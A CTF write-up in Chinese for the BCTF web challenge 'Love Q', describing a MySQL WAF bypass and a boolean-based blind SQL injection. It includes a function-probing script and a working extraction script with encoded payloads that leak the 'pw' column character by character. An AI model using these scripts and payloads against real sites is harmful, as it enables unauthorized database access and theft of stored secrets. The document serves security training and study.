前言

BCTF 的 Web 题 —— Love Q,其实是 N1CTF 的 77777 和 77777 2 的后续,当时脚本出了问题,事后看着师傅们的 writeup 进行了修改,然后过了(lll¬ω¬) 真是悲伤的故事

简介

网站有三种状态:

被 waf 拦截的状态:

waf

sorry - sql 语句执行失败:

sorry

正常 - sql 语句执行成功:

normal

waf 绕过

这道题相较前两道题目而言,waf 更加严格,手动测一下,发现数字仅有 29 可以使用,字母滤过了 jJ, 然后过滤了非常多的 mysql 函数,可以写个简单的脚本测试一下可以使用的函数

import requests

url = "http://e827c6acaa71483e8c534305d1f0f6dc88fcbce09a294ce2.game.ichunqiu.com/"

a = ["substr", "concat", "as", "from", "ascii", "sleep", "conv" , "benchmark", "hex", "bin", "+", "pw", "-", "round", "cos", "sin", "log", "tan", "exp", "floor", "left", "right", "ceiling", "mod", "MOD", "SQRT", "sign", 'rand', "length"]
def one_test(item):
  payload = "flag=1000000&hi=" + item
  headers = {
    'Content-Type': "application/x-www-form-urlencoded",
  }

  response = requests.request("POST", url, data=payload, headers=headers)
  if 'hacker' not in response.text:
    print item


def main():
  for item in a:
    one_test(item)

main()

最后发现只有 substr\from\conv\hex\pw\log\SQRT\sign 能用。

手动测试发现 if\(\)\>\< 等还可以使用。所以可以尝试用仅限的这些构造 payload

思路

由于 My Points 是不可见的,杜绝了直接通过回显猜结果的可能性,然后就只能盲注。时间型盲注无法成功,因为所有相关的函数都被 waf 过滤了,相应的只能使用布尔型盲注。

通过 >(if(bool, 'a', 9)) 我们可以通过是否报错的方式得到回显,所以我们可以通过修改 bool 对应的语句来猜测 flag 的内容

这里有一个是我是我用 log(x, x) 来生成待猜测的数字,在所需数字较小的时候,mysql 返回的是正常的值,但当数字大到一定程度,比如说 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 的时候,mysql 会炸/(ㄒoㄒ)/~~

所以可以用 log(x, x) 来生成数字来取字符的第几位,具体的字符还是需要通过直接比较字符判断得出

之前以为的问题是怀疑字符被过滤,后来发现只是过滤了 jJ 而已,被当时的自己蠢到了(lll¬ω¬)

payload

import requests

dict = {1: 'log(2, 2)', 2: '2'}
url = "http://8fe3cd29f5e647ea92b5f0bd76055352aaad0730233b4179.game.ichunqiu.com/"

def generate(i):
    if i in dict.keys():
        return dict[i]
    num = str(9**i)
    ret = ''
    if num[0] == 1:
        ret = 'log(2%2C ' + '2' * len(num) + ')'
    else:
        ret = 'log(9%2C ' + '9' * len(num) + ')'
    dict[i] = ret
    return ret

def check_url(index, cond):
    payload = "flag=10&hi=%3E(if(substr(pw%2C%20"+generate(index)+"%2C%20log(2%2C%202))" + cond +"%2C%20'a'%2C%209))"
    headers = {
        'Content-Type': "application/x-www-form-urlencoded",
    }
    response = requests.request("POST", url, data=payload, headers=headers)
    if 'sorry' in response.text:
        return True
    else:
        return False

def check(i):
    print i
    for j in range(97, 128):
        if chr(j) == 'j':
            continue
        cond1 = "%3E'" + chr(j) + "'"
        cond2 = "%3C'" + chr(j) + "'"
        if not check_url(i, cond1) and not check_url(i, cond2):
            return chr(j)
def main():
    flag = ""    
    for i in range(1, 33):
        ans =  check(i)
        if ans != None:
            flag += ans
            print flag
        else:
            break


main()

And…

后来看到其他师傅的 writeup 的时候,发现了一个非常神奇的现象,就是在 select 语句中的 *- 是可用的,看来 waf 其实比我想象的稍微宽松一点点

参考链接